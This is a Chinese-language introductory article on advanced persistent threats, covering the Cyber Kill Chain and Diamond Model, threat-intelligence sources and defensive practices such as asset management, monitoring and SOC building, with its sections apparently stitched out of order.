社会政治影响:处于钻石模型上下两个顶点,上顶点表示攻击者,下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因,纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。

技战术组合:技战术组合位于整个钻石模型的横切面,横切面的两个顶点分别为基础设施和技术能力,这里的基础设施和技术能力其实都是相对于攻击者而言的。

元数据:这个其实就是左边列出来的,攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。

置信度:也就是以上你分析出结果的可信程度。

钻石模型想要表达的其实就是针对单个安全事件,我们可以得到攻击者为什么想要攻击目标,打算用什么手段去攻击目标。

0×05.被透露的APT攻击

https://github.com/kbandla/APTnotes

此处不做赘述

0×06.一些APT信息获取渠道

1.第一类:Github

APT大事件:https://github.com/kbandla/APTnotes

2.第二类:互联网安全商

360威胁情报中心:https://ti.360.net/

IBM:https://exchange.xforce.ibmcloud.com/

3.第三类:开源安全威胁情报

Threatminer:https://www.threatminer.org/

ThreatBook:https://x.threatbook.cn/

4.付费类威胁情报

知道创宇:https://www.yunaq.com/gpt/

NOSEC:https://nosec.org/

5.资讯类威胁情报

安全牛:http://www.aqniu.com/category/threat-alert

安全客:http://bobao.360.cn/news/index

secwiki:https://www.sec-wiki.com/index.php

Tools:https://www.t00ls.net/

sec-un:https://www.sec-un.org/category/安全威胁情报/

IBM:https://securityintelligence.com/

天际友盟:https://www.sec-un.com/post_queryByPage.action?pager.page=1

Freebuf:http://www.freebuf.com/

ichunqiu:https://www.ichunqiu.com/

cybernews:https://www.cyberwarnews.info/

Secrss:https://www.secrss.com/

Exploit-DB:https://www.exploit-db.com/

TheHacknews:https://thehackernews.com/

Hack news:http://hackernews.cc/

6.网络空间搜索引擎威胁情报

Shodan:https://www.shodan.io/

censys:https://www.censys.io/

Fofa:https://fofa.so/

Zoomeye:https://www.zoomeye.org/

0×07.应对APT的思路或者想法

APT就像是《三体》里面黑暗法则提到的那样:

宇宙就是一座黑暗森林,每个文明都是带枪的猎人,像幽灵般潜行于林间,轻轻拨开挡路的树枝,竭力不让脚步发出一点儿声音,连呼吸都必须小心翼翼:他必须小心,因为林中到处都有与他一样潜行的猎人,如果他发现了别的生命,能做的只有一件事:开枪消灭之。在这片森林中,他人就是地狱,就是永恒的威胁,任何暴露自己存在的生命都将很快被消灭,这就是宇宙文明的图景,这就是对费米悖论的解释。

一旦被发现,能生存下来的是只有一方,或者都不能生存

7.1殊途同归原则

所有的攻击都是有目的性的,不论手段如何,目标都是你,如果目标都变了,那么攻击就不是针对你的攻击了,至少对被攻击方而言便是如此,所以这里要关注什么呢?

7.1.1资产

你要知道你所守护的东西是什么,如果你都不知道守护的资产有多大范围,资产有什么特点,是怎么区分的

a.资产范围

你需要确定组织团体所有的资产范围,去划分相应的区域,可以是业务为主划分,也可以是直接的安全域,确定范围最终的目的就是梳理流量,稍后再提,资产范围可以做到最小权限原则,规定组织内某个团队的访问控制,以及审计,如此便可以对团体行为做分析,就比如开发团队不会去调试网络,办公室人员不应该去接入生产和业务,安全基础设施人员也不会去服务基础设施进行大量拷贝,总之就是要给资产的普及区域进行规定。

b.资产属性

资产属性怎么说?其实个人比较支持把资产先分uat,prd,dr,oa这是内部的资产,还有一些合作方,也就是第三方,可以按对方团体名进行备注,资产属性定义资产的利用方的属性,也就是确定资产的使用方。

c.资产类别

这里面的资产包括基础设施资产,应用资产,信息资产,人员资产,隐性资产,基础设施就是网络,服务器,主机,安全设备,日常办公设备,能源设备等;应用资产一般指的是数据库,操作系统,中间价,容器,web应用等;信息资产包括组织合同,客户数据,制度流程,包括纸质,电子的所有存储信息;人员资产,主要是员工信息,组织架构,服务等等,隐性资产一般是公司企业名誉,社会价值等

资产类别确定资产的所属方。

那么我们就可以以一个类似公式的方法去分析最近资产的调用,使用,增删查改的操作:谁,什么时间,通过什么渠道,访问了哪些资产,资产间什么关系,动作有哪些?

7.2活动方式

所谓活动方式其实就是访问方式,还有一个更加洋气的名字:UBA(用户行为分析),我们先假设所有的访问都是不正常的,把所有的访问数据都在一个可恢复的环境,为什么要这么思考,因为人类的多样性,很难确定我们去执行操作的过程都是一样的,也就是说不会访问的潜意识是无意还是恶意,都应该做好监视,说到这里,我就提一下隐私权,作为个人是很不喜欢被监控的,所以要监视的环境要明确,目的要确定,继续回到活动原则,也就是说假设所有针对关键资产的动作都受到监控,这就是一部分数据源,监控能够在后续取证溯源得到很多提示。

a.上网行为监控

这里我举一个栗子:公司每周会有上网行为管理报表,会定时发布到SOC团队,而报表里面会有一个关于上网内容的分析,也就是员工访问的网址,当一名员工持续访问招聘网站时,达到半个月甚至更长的时候,基本可以确定这名员工是准备跳槽了,而此时基于人员安全就有可能会出现漏洞,当然我一直都是秉着人性本善的观念,但不排除能力较强或者不小心误入歧途的人,所以监控还是要有的,同时做好人员离职情况和权限变更的及时记录和追踪

b.邮件服务器监控

很多APT攻击的一个套路就是通过水坑式,鱼叉式的邮件钓鱼攻击,而且最近Office和Adobe频频出现0day,不排除一部分的终端或者服务器没有打上相应的补丁,当我们监控邮件服务器和邮件的时候,对邮件的传输进行监控,首先监控上班时间和下班时间的邮件发送情况,其次邮件附件的大小,和部分未加密的内容,最后是邮件入口,对钓鱼邮件进行清洗和处理

c.终端管理

之所以进行终端管理主要是针对两个方面:1.员工自己的安全意识薄弱导致终端被攻击,甚至导致内外网互通,业务和OA互通等等,短时间可能发现不了问题,当病毒,木马进入时,造成的损害就不仅仅是一台终端或者一小块OA区域了,可能是整个集团的的网络环境;2.员工内鬼,所谓千防万防家贼难防,不排除心有不忿的员工会通过终端拷贝企业信息,进行暗网交易。

所以终端管理也是必不可少的

7.3堵不如疏原则

传统安全都是不断的堆叠安全设备,安全产品,后来为了更好的利用这些安全的基础设施资源,出现了纵深防御,以层为例,一层一层的,自外而内的防御,但安全问题层出不穷,也表明这样依旧不能很好的保证组织的安全性,安全是个日益增长的问题,而不是一次性部署就可以解决的,安全的问题也不仅仅来自外部,内部损害,有意无意也不在少数,所以重点应该在疏,疏从三个方面入手:检测,应急,流程。

a.基础防护

基础防护:也就是传统安全的物理防护措施,但不仅限于物理防御,也包括管理,策略,软件上的防御,甚至针对安全基线的防护应该是算入到基础防护的一部分,前面提到堵不如疏,但这并不意味这就不需要堵,换句话来说,基础防护给攻击源增加的攻击时长,以及较短的检测时长和较短的应急时长可以保障一个企业的基本信息安全,攻击时间越长,检测时间越短,应急时间越短,那么被APT攻击成功的可能性也就越低。

b.检测

检测是需要数据的,而且数据量是庞大的,越准确的检测,越是需要人去维护的,那么前期我们需要做的是哪些检测,一般是容易出现异常的检测,一是访问日志,根据属性去确定一个人是否应该出现在某个资产,是否允许进行资产的操作;二是登陆行为,在指定的时间,指定的服务器

c.应急

应急主要考虑三个点:

1.应急措施是否完善

应急措施可以从资产的和应用,以及业务的角度出发,应急措施是属于BCM(业务持续性管理)的一部分,建议从以下几个点思考:

a.你的基础设施:包括安全设备反馈,服务器,网络,数据库,备份情况,日志,时钟等,一般来说,很少有人关注时钟,但是做应急和响应最重要的一个点就是时间

b.你的应用服务:应用服务器,Web,DNS解析,DDOS攻击,黑客攻击,代理解析等等,主要是考虑应用的持续性运行和故障处理

c.业务连续性:这里和应用连续性有点关联,只是有些企业存在业务期和非业务期,但实际上来说,应用服务不会完全关闭,这里考虑的主要是业务高峰期的响应,反黑产,反爬虫等对业务可用性,持续性造成影响的恢复手段

2.应急流程是否高效

检测一个应急流程是否有效的最佳方式就是测试,所以可以采取红蓝攻防的形式,或者请第三方外部授权攻击,注意测试要在数据尽可能真实,以及不影响业务的情况下

3.应急是否有效

在流程合理,应急预案充分的情况下,是时候展现真正的力量了,看应急后的恢复情况,主要参考,业务中断时间,一般来说小于10min-15min,具体还得依据业务重要性,不可一语而定,然后就是业务恢复时间,恢复时间越短,说明预案越简单高效,最后是业务恢复情况,直接进行相应的业务测试

d.维护

维护应该包含以下一些点:

1.定期的维护

定期的维护一般是指对硬件设施进行定期的检测和维护,这里检测的范围是尽可能的广,如果范围太大,可以依据资产类型和资产范围,进行抽样测试,但一年内所有机器必须检查一次,对性能不稳定,或者已经出现了故障的设备及时更换,这里要注意对硬件设备做监控,我就遇到过备用服务器故障半个月的事件,此事不谈也罢,最后,维护要遍及所有设备,不论网络,安全,服务器,基础的电力,空调,ups等等

2.异常的维护

异常的维护就简单了很多,主要是有故障就处理,这里需要注意到是,所有的故障处理要有文件可查,也就是说要做好申请,审批,处理等流程,如果紧急,后续也应该补上,有助于对相关事件进行内审

e.监控

监控即对整个环境做监控,这里的粒度是每一条日志,不管是应用日志还是系统日志,还有安全日志,统统收入,然后进行调优处理

监控一般是参考SOC安全运营中心的建设,建立一套完整的日志体系,这里有钱推荐使用大厂商的SOC,没钱就用OSSIM或者ELK(笔者还没建设过,所以也不做多余描述),至于国外一些产品。能不用就不用,因为售后很难受,真的。

最后提一下SOC建设的三个要素:

1.你要知道你的源:你要知道你可以收到的日志源,你可以对哪些日志进行处理,不过近期的soc有加入漏洞管理,基线,资产等元素,可以联系相关管理员获取相应的低权限账户和基础资源

2.人:必须要这么几类人的参与:上级领导的重视和关注, 安全专家的旁敲侧击,安全运维工程师的专注,最后应用,系统,业务,网络,监控,OA等区域的协助

3.在满足了1,2的基础上,开始去明确SOC的具体方向,你是关注内网安全,还是担心外网攻击,还是在意信息泄漏,还是资产管控,还是担心家贼难防等等,都需要你一步一步的去发掘,一般来说,有了源,需要做什么就是分步实施

最后引用Leo的一句话:70%的SOC建设和运营都会卡住

最后:再次总结一下APT攻击:

一些目的性极强,攻击方式极为先进,复杂多样,至少是在漏洞圈子公开之前就已经利用了,攻击时间跨度较长,攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性,把每一次异常都当成APT是保持一个安全攻城狮应有的意识!(但不要当成了APT事件处理了)

参考文献

https://en.wikipedia.org/wiki/Advanced_persistent_threat

http://www.freebuf.com/articles/neopoints/152457.html

https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==∣=2247484237&idx=1&sn=a02b4576bac88de4089a259d3da3ccb9&chksm=ec6fe44ddb186d5b57eb61af95a7edbf24d4012fa640a9382e2e99f236f0215f2b3953658297&scene=38#wechat_redirect

https://github.com/Hack-with-Github/Awesome-Hacking

https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html

http://www.aqniu.com/news-views/29381.html

http://blog.51cto.com/yepeng

Whats APT:浅谈APT

横看成岭侧成峰,远近高低各不同

APT(Advanced Persistent Threat):高级持续威胁,主要特点是利用手段高,攻击持续,高危害。换句话说其实当于持续性高级渗透,加上恶意的目的或者谋取利益的想法时,就成了威胁,而APT防御一般出现于酒足饭饱之后。

题主并不是APT专家,只是每个人在不同时机看的东西不一样,只想在此之际,科普一下,分享一些想法,欢迎指正,批评。

文章结构(目录):

0×00.APT的历史起源

0×01.APT到底是什么?

0×02.APT的一些知名论坛,团体

0×03.APT有哪些攻击阶段?

0×04.APT分析模型

0×05.被透露的APT攻击

0×06.一些APT信息获取渠道

0×07.应对APT的思路或者想法

0×00.APT的历史起源

APT这个词汇最早起源于:2005,2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名字。但 “先进的持续威胁”一词被广泛引用,2006年的美国空军Greg Rattray上校经常被引用为创造该术语的个人。

后来,在Stuxnet震网事件就是专门针对伊朗的核计划的黑客攻击就是一个APT攻击例子。

在计算机安全领域以及越来越多的媒体中,APT这个术语几乎总是用来指向针对政府,公司和政治活动家的黑客攻击的高级持续模式,而且也延伸到涉及到群体这些攻击背后。作为一个术语,高级持续威胁(APT)可以被转移焦点到攻击出现次数。PC World报告称,从2010年到2011年,特别针对高级别目标的网络攻击增加了81%。

一个常见的误解是APT只针对西方国家。西方国家可能会更多地宣传针对西方国家的技术性APT,但许多国家的行为者都将网络空间安全作为收集有关个人和群体的情报的手段。在美国,网络司令部的任务是协调美国军方,应对高级持续网络威胁,也就是APT攻击。

同时,许多消息来源都觉得一些APT组织实际上隶属于或者代表着民族和国家。否则很难持有大量信息和资源,三类机构容易面临高级持续威胁的高风险,即:

高等教育

金融机构

政府机构

实际上,一个APT是有一套隐匿和持续攻击的框架的,往往针对特定的实体由一人或多人策划(一般是多人)。APT通常针对高价值目标出于商业或政治动机进行实施的。APT在长时间的攻击中依旧会尽可能的保证高度隐蔽性。而“高级”意味着使用恶意软件来攻击系统漏洞的复杂技术。“持续”过程表明,APT攻击组织外部和控制系统正在持续监测和提取特定目标的数据。“威胁”过程表明攻击会损害目标利益。

APT通常是指一个组织,甚至可能一个政府支持下的组织,因为APT团体是一个既有能力也有意向持续而有效地进行攻击的实体。所以APT通常用来指网络威胁,特别是使用互联网进行间谍活动,利用各种情报搜集技术来获取敏感信息,但同样适用于诸如传统间谍活动或攻击等其他威胁。其他公认的攻击媒介包括受感染的媒体,供应链和社会工程。这些攻击的目的是将自定义的恶意代码放在一台或多台计算机上执行特定的任务,并在最长的时间内不被发现。了解攻击者文件(如文件名称)可帮助专业人员进行全网搜索,以收集所有受影响的系统。个人,如个人黑客,通常不被称为APT,因为即使他们意图获得或攻击特定目标,他们也很少拥有先进和持久的资源。

0×01.APT到底是什么?

APT:高级持续威胁(Advanced Persistent Threat),普遍认可的定义是,利用各种先进的攻击手段,对高价值目标进行的有组织、长期持续性网络攻击行为。也就是说很难去确定是不是APT攻击,只能从已发生过的APT攻击事件,分析其特点,进而与上述解释性概念相关联,得出APT攻击的一般规律。大致有这些规律:

1)高度目的性

2)高度隐蔽性

3)高度危害性

4)目标实体化

5)极强的持续性

APT攻击大致包含以下内容:

目标 – 威胁的最终目标

时效性 – 探测和访问系统的时间

资源 – 事件中使用的知识和工具的级别(技能和方法将会影响到这一点)

风险容忍度 – 为了不被发现而受到威胁的程度

技巧和方法 – 整个活动中使用的工具和技巧

行动 – 威胁或许多威胁的确切行动

攻击起点 – 事件发生点的数量

参与攻击的人数 – 事件涉及多少个内部和外部系统,有多少人的系统具有不同的影响/重要性权重

信息来源 – 通过在线信息收集来识别关于任何特定威胁的任何信息的能力(可以通过一点积极主动的方式找到)

通过拆开APT(Advanced Persistent Threat)来进行分析,我们可以这样看待一个APT:

高级Advanced- 威胁背后的运营商拥有全方位的情报收集技术。这些可能包括计算机入侵技术和技术,但也延伸到传统的情报收集技术,如电话拦截技术和卫星成像。虽然攻击的各个组件可能不被归类为特别“高级”的攻击技术(例如恶意软件),从通常可用的自己动手构建的恶意软件工具包,或者使用容易获得的漏洞,APT攻击人员通常可以根据需要访问和开发更高级的工具。他们经常结合多种定位方法,工具和技术,以达到并保持对目标的访问。

持续Persistent - APT攻击一方优先考虑某项具体任务,而不会投机取巧地寻求获取财务或其他收益的信息。这个意味着攻击者是由外部实体引导的。攻击的针对性是通过持续监控和互动来实现的,以达到既定的目标。这并不意味着需要不断的攻击和恶意软件更新的攻势。事实上,“低级”的做法通常更成功。如果APT攻击方失去对目标的访问权限,他们通常会重新尝试访问,而且通常是成功的。APT攻击方的目标之一是保持对目标的长期访问,而不会仅仅满足于短时间的访问权限。

威胁Threat - APT是一个威胁,因为他们有能力和意图。APT攻击是通过团队协作来执行的,而不是通过无意识和自动化的代码。并且APT攻击方都有一个特定的目标,同时他们技术精湛,积极主动,有组织有目的,资金充足,所以有大多数的APT攻击都是针对其他国家的,也被视为一种间谍活动。

通过这些APT攻击特征,可以得到以下结论:一是高价值信息网络系统是实施APT攻击的主要目标,也是应重点设防目标;二是攻击过程不可能采用单一攻击技术,防护技术应综合运用;三是攻击持续时间长,重要系统应长期设防;四是社会工程学被广泛使用,必须内防与外防并重,技术防范与管理制度并举的防范策略。

最后,用我自己的话总结一下:一些目的性极强,攻击方式极为先进,复杂多样,至少是在漏洞圈子公开之前就已经利用了,最后是攻击时间跨度较长,攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性,把每一次异常都当成APT是保持一个安全攻城狮应有的意识!(但不要当成了APT事件处理了)

0×02.APT的一些知名论坛,团体

目前业界比较流行的防御APT思路有三种:

1、采用高级检测技术和关联数据分析来发现APT行为,典型的公司是FireEye;

2、采用数据加密和数据防泄密(DLP)来防止敏感数据外泄,典型的公司是赛门铁克;

3、采用身份认证和用户权限管理技术,严格管控内网对核心数据和业务的访问,典型的公司是RSA。

至于其他说什么人工智能,机器学习防止APT,都还在发展阶段,而题主觉得防御应该是从基础传统防御到到云大物移四个层面,最后到人工智能,这些都是基础环境,技术层面的防御措施。

0×03.APT有哪些攻击阶段?

所谓攻击阶段只是在进行黑客攻击中典型的攻击手段和形式,不一定界限清晰,但都有迹可循。

题主最早了解阶段是从我们最常见的大规模,也是比较简单的一个类似于黑客渗透攻击阶段模型:信息收集,攻击阶段,提权阶段,后渗透阶段,销声匿迹。

但APT攻击会更加系统,分布,协作,一般分成信息收集,武器化部署,传递载荷,利用,安装,命令和控制,执行

而杀伤链一般是6个阶段:发现-定位-跟踪-瞄准-入侵-完成,APT攻击模型Cyber-Kill-chain与之对应

0×04.APT分析模型

这里借用两个分析模型,一个是kill-chain七层模型,一个是钻石模型

4.1Cyber-Kill-Chain攻击杀伤链

对于混迹于安全圈的我们来说,洛克希德-马丁的网络杀伤链(Cyber-Kill-Chain,也被我们称网络攻击生命周期),专门用来识别和防止入侵。然而,攻击模式会一直变化,就拿Valut7来说,里面提到的攻击模型,都是在08年就已经开始在使用,而却在16年,17年才被曝光,可想而知,攻防之间的时间差是多么的严峻,所以我不给予希望一个Kill-Chain能够带来多大的安全防护,而重在开拓视野,最好能未雨绸缪,如今,Valut8已经曝光,企业安全,似乎远远没有我们想象的那么安静。

网络攻击杀伤链模型用于拆分恶意软件的每个攻击阶段,在每个阶段有对应的特征用于识别,但用我后面会提到的一句:堵不如疏,殊途同归,具体如何,后面会具体说说我自己的理解,现在先简单说说Cyber-Kill-Chain的每个阶段。

4.2什么是网络攻击杀伤链(Cyber-Kill-Chain)?

“杀伤链”这个概念源自军事领域,它是一个描述攻击环节的六阶段模型,理论上也可以用来预防此类攻击(即反杀伤链)。杀伤链共有“发现-定位-跟踪-瞄准-打击-达成目标”六个环节。

在越早的杀伤链环节阻止攻击,防护效果就越好。例如,攻击者取得的信息越少,这些信息被第三人利用来发起进攻的可能性也会越低。

洛克希德-马丁公司提出的网络攻击杀伤链Cyber-Kill-Chain与此类似,本质是一种针对性的分阶段攻击。同样,这一理论可以用于网络防护,具体阶段如下图所示:

Clipboard Image.png

Cyber-Kill-Chain

这就像传统的盗窃流程。小偷要先踩点再溜入目标建筑,一步步实行盗窃计划最终卷赃逃逸。要利用网络杀伤链来防止攻击者潜入网络环境,需要足够的情报和可见性来明了网络的风吹草动。当不该有的东西出现后,企业需要第一时间获悉,为此企业可以设置攻击警报。

另一个需要牢记的点是:在越早的杀伤链环节阻止攻击,修复的成本和时间损耗就越低。如果攻击直到进入网络环境才被阻止,那么企业就不得不修理设备并核验泄露的信息。

要想明确杀伤链技术是否适合自己的企业,不妨通过杀伤链模型的几个阶段入手,来发现企业应当核实的问题。

4.3网络攻击杀伤链的各个阶段

4.3.1RECONNAISSANCE 识别目标,信息收集

在这个阶段,犯罪分子试图确定目标的好坏。他们从外部了解企业的资源和网络环境,并确定是否值得攻击。最理想的情况是,攻击者希望目标防备薄弱、数据价值。罪犯可以找到的信息门类,以及这些信息如何被使用。

企业的信息价值往往超出他们想象。雇员的姓名和详细信息(不仅是企业网站,而且包括社交网站的信息)是否在网端存储?这些信息可以用来进行社会工程用途,比如,让人们透露用户名或密码。企业的网站服务器或物理位置是否接入网络吗?这些也可以用于社会工程,或帮助攻击者缩小企业环境漏洞的寻找范围。

这个层面上的问题很难处理,社交网络的普及让它变得尤为棘手。将敏感信息隐藏起来是一个廉价的改善方式,虽然这也增加信息调用的时间成本。

攻击方 防御方
特点 攻击方的攻击计划阶段。他们进行研究,以了解其目标,使他们能够实现自己的目标 探测侦察,因为它发生是非常困难的,但是,当守军发现侦察 – 事后甚至好 – 它可以揭示了攻击方的意图。
常用攻击/防御方式 获取电子邮件地址,确定员工社交媒体网络,收集新闻稿,合约奖励,会议出席者名单,探索放在公网上运行的服务器 收集网站访问者日志警报和历史搜索,与网站管理员合作对其现有浏览器进行分析,建立浏览异常、行为独特的检测机制,优先周围的防御,特别是基于技术和人的侦察活动。

4.3.2WEAPONIZATION 武器化准备工作

这些阶段是攻击者用工具攻击被选目标的具体过程,他们收集的信息将被用于恶意行为。他们手头的信息越多,社会工程攻击就越无缝可击。通过员工在LinkedIn上的信息,他们可以用鱼叉式钓鱼获得公司内部资源。或者,他们可以把远程访问木马提前嵌入可能会录入重要信息的文件里,以诱使接收者运行它。如果他们知道用户或服务器运行的软件信息,比如操作系统版本和类型,他们在企业网络里渗透和布置的把握就大大增加。

就这些阶段的防御而言,企业应当参照标准安全专家的建议去做。

企业的软件是否达到最新?这需要具体到每台终端上的每个应用。大多数公司都有某个小角落还用着老式台式机,系统仍然用的是Windows 98。如果这台设备接入网络,无异于对攻击者门洞大开。

企业使用电子邮件和网页过滤功能吗?电子邮件过滤可以有效阻止攻击中常用的文档类型。如果企业的文件必须用某种标准发送,比如密码保护的ZIP文件,这可以让用户了解文件是否无误。网页过滤则可以防止用户访问已知的不良网站或域名。

企业禁用USB设备吗?从安全的角度来看,让文件不需许可就运行绝非什么好主意。最好在运行前,确保给用户有时间暂停和思考他们所看到的情况。

企业使用端点保护软件的最新功能吗?虽然端点保护软件不是为了应对新型针对性攻击而设计,但是它们常常根据已知的可疑行为或软件漏洞来捕捉威胁。

攻击方 防御方
特点 这是攻击方准备工作和分步阶段。恶意软件的生成可能不会用手工完成的-他们使用自动化的工具。一系列武器化准备的恶意软件和攻击再加上武器化的“军火商”,直到攻击达到payload。 这是捍防御方应该了解的重要阶段。虽然它不能检测到攻击部署的发生过程,但这是通过分析恶意软件的一个部分:针对攻击部署的工具检测,这类检测往往是最持久的和有弹性的防御。
常用攻击/防御方式 获得“军火商”的帮助,无论是在公司内部还是通过公共或私人渠道获得,基于文件的攻击,选择“钓鱼”文件呈现给受害者,选择合适的后门植入,命令控制目标基础设施,设计一个特定的“任务ID”并在恶意软件嵌入,编译和后门:工具payload。 进行全面的恶意软件分析 – 而不仅是payload,还应该包括payload的实现,建立攻击源检测 – 找到新的活动和新的有效载荷仅仅是因为他们重新使用攻击工具包(“军火库”),分析恶意软件的时间线:什么时候创建的?什么时候使用的?有时新的恶意软件是由旧的恶意软件合成的,但新的恶意软件可能就意味着活跃,针对性,收集文件和元数据供日后分析,确定攻击“军火库”的来源:可以通过分享常见的APT活动,或者内部共享。

4.3.3传递:传递载荷,启动运行

攻击方 防御方
特点 在攻击方向目标传达了恶意软件之后。都将开始执行进一部分攻击操作。 这是防御方阻止该操作的第一个也是最重要的机会。有效性的关键措施是阻断入侵尝试和工具传递的重要部分
常用攻击/防御方式 攻击方控制下传递载荷:直接针对Web服务器,攻击方释放载荷:恶意电子邮件,恶意软件的USB存储,社交媒体互动,“水坑式”钓鱼网站攻击 分析和理解载荷传递的介质 – 关注上层的基础设施主要是关键基础设施,了解目标服务器和相关人员,他们的角色和责任,可用的信息,根据攻击方载荷情况推断攻击方的意图,分析“军火库”攻击载荷在传递区域检测新的恶意代码,分析在一天中的什么时间段对方开始行动,收集电子邮件和网络日志,还原取证。即使后期检测到入侵,防御方必须能够确定何时以及如何开始传递载荷。

4.3.4利用 获取目标访问权限

攻击方 防御方
特点 攻击方利用一个漏洞来获得访问权限(实际上可能会运用多个漏洞)。“0day”指的就是此步骤中使用的攻击漏洞。 这里部署的一般是传统的防御措施,同时针对“0day”,“1day”,“Nday”等类型的漏洞增加弹性,定制化的防御能力
常用攻击/防御方式 软件,硬件,或人类的脆弱性,获取或发现“0day”漏洞,攻击方利用基于服务器的安全漏洞,受害者触发漏洞:点击恶意电子邮件,点击恶意链接 用户安全意识培训和员工的电子邮件测试。以及邮箱服务器防护,Web开发人员的对于安全编码培训,定期扫描漏洞和渗透测试,端点防御措施:限制管理员权限,使用Microsoft EMET,自定义端点规则阻断shellcode执行,端点登录审计过程,取证确定攻击源。

4.3.5安装: 在目标建立堡垒

攻击方 防御方
特点 通常情况下,攻击方安装一个持续后门或植入,可以长时间访问目标的工具 终端防御检测和记录“异常”安装活动。恶意软件分析过程中分析安装阶段的行为可以缓解攻击。
常用攻击/防御方式 Web服务器上安装木马后门,在目标客户端安装后门和植入,在目标上创建持续运行的服务,或者自启的服务和进程等等,有些攻击者会让一些“时间点”的文件,让恶意软件看起来它就是操作系统安装的一部分。 一个好的建议:关注通用软件安装路径,例如RECYCLER,了解恶意软件是需要特权账户还是一般用户的权限,终端接入审计:去发现异常文件的创建,所有的摘录证书,主要是包含签名的可执行文件,了解恶意软件的编译时间,以确定它是旧的还是新出现的恶意软件。

4.3.6命令和控制(C2): 远程控制和植入

一旦威胁在企业的网络环境里扎根,它的下一个任务是给老窝打电话并等待指示。它可能下载额外的组件,更有可能的是通过C&C通道联系一个僵尸网络主控机。无论哪种方式,这都要求网络流量,这意味着企业必须扪心自问:防火墙是否设置了新项目进行网络通信的警报?

如果威胁已经实现了这些,它将对机器进行更改并将耗费IT工作人员对大量精力。有些公司或行业要求诊断受影响的机器上哪些数据被窃取或篡改。受影响的机器需要进行清洗或重置。如果数据已经备份,或者有可以快速加载到机器的标准企业模式,修复工作的成本和时间损耗就会有所降低。

有些攻击会另辟蹊径

去年的攻击状况已经充分证明了一点:攻击者不会严格按照游戏流程来——他们可能跳过步骤、添加步骤,甚至重复之前的步骤。最近的一些最具破坏性的攻击事件都是如此,这些攻击之所以能绕过安全团队耗费多年精心打造的防御体系,是因为它们有不同的流程安排。

“符合洛克希德-马丁公司的杀伤链的恶意行为被重点关注,这也让某些攻击隐形了。”Kudelski Security的全球管理服务副总裁Alton Kizziah说。

数据中心安全的领军者Alert Logic的合伙人、产品营销高级经理Misha Govshteyn指出:“杀伤链从来不能彻底符合我们看到的种种攻击。”

根据2017年威瑞森的数据泄露调查报告,今年,网络程序攻击成为了数据泄露的最常见形式,在数据泄露案例中占到了近三分之一。常见方法是利用应用程序自身的漏洞。最近的Equifax数据泄露事件就是典型例子。这种攻击很难发现。在两个月里,Equifax未在网站上发现可疑的网络流量。“通常到了数据外泄的时候,企业才能察觉。”Positive Technologies的网络安全弹性主管Leigh-Anne Galloway说。“或者,可能需要一个第三方的实体,例如某个客户,来提醒企业出了问题。”Equifax泄露案可以追溯到Apache Struts Web服务器软件中的一个漏洞。如果公司安装了这个漏洞的安全补丁,这个问题可能会避免,但是有时软件更新本身就是恶意攻击的桥梁,9月发生的CCleaner被黑事件就是一例。零日漏洞也是大麻烦。根据Contrast Security的共同创始人兼首席技术官杰夫·威廉姆斯的观点,平均每个软件应用和api拥有26.8个严重漏洞。“这是一个惊人的数字,”他说。“公众对Equifax感到愤怒,但事实是,几乎所有的公司在应用程序层都是不安全的。我们发现,世界各地有成千上万的IP地址正在进行的应用攻击尝试,这一现象正在扩散。”

要抵御这类攻击,企业必须缩短补丁的安装延迟。“过去的时候,直到应用程序漏洞被披露后的数周或数月,针对性的攻击才会出现,”他说,“但是今天,安全窗口已经只有一天左右,而在2018年,这一时间可能进一步缩减到几个小时。”他补充说,企业也需要开始将安全控件直接嵌入到应用程序里。这被称为应用程序的运行自保,Gartner预测这一细分市场的复合年增长率为9%。

“安全需要更贴近应用程序,需要深入了解程序的核心进程和内存使用量,”Virsec Systems的创始人和首席技术官Satya Gupta说。“新的流程控制技术将嵌入到应用程序层面,能理解应用的协议和环境,可以将可接受的应用程序流程绘制出来(就像谷歌地图)。如果应用程序应该从A点走到B点,但是却出现了一段意外的路程,那么肯定出错了。”

攻击者也可以利用被泄露的身份信息或强度弱的密码。这一过程不需要安装恶意软件,也不用与C&C服务器通信,不会产生横向操作。“寻找一份泄露的数据库或Amazon S3数据意味着攻击可以简便完成,从而避免和防御者交锋。”Obsidian Security的首席技术官Ben Johnson说。根据RedLock本月发布的一份报告,53%的组织使用Amazon S3等云存储服务,这至少导致了一个意外结果,即数据暴露在公众面前。今年夏天的早些时候,Skyhigh Networks报道称,7%的企业使用的所有AWS S3数据可以无限制访问,另有35%的企业未对数据加密。由于数据是通过合法渠道传出,数据防泄露可能无法检测这种行为。Govshteyn说:“企业需要专门的工具来保护针对网络应用程序的攻击。”DOS攻击也难以被杀伤链解释。“攻击者仍需选择目标,所以必须进行侦察阶段。”Cybereason的首席安全官Sam Curry说。但是在准备之后,攻击者将直接跳转到中断阶段。他补充说DOS攻击也可能只是攻击的第一步,用来掩盖其他恶意行为。“当系统崩溃时,攻击者可以创建一个漏洞,”他说,“或者创建一个高信噪的筛选器,来掩盖痕迹或破坏系统的信号发现能力。”他说,攻击者也可以添加步骤到游戏流程里。例如,他们可以花时间清理痕迹、设置中断、传播虚假数据,或安装未来用得上的后门。他们也可以重新安排各步骤的顺序,或者重复之前的步骤。这不是一个简单的线性过程。这通常更像树状或根系的分支和蔓延,这一过程很复杂,会发生很多事情。

攻击方 防御方
特点 恶意软件将打开通信信道,以使攻击方远程操作目标。向C2目标开放双向通信通道基础设施; 防御的最后一个最佳时机-阻止C2操作:“通过阻断C2通道”。如果攻击方不能通过通信信道发出命令,相应的防御方就可以实现阻断C2攻击
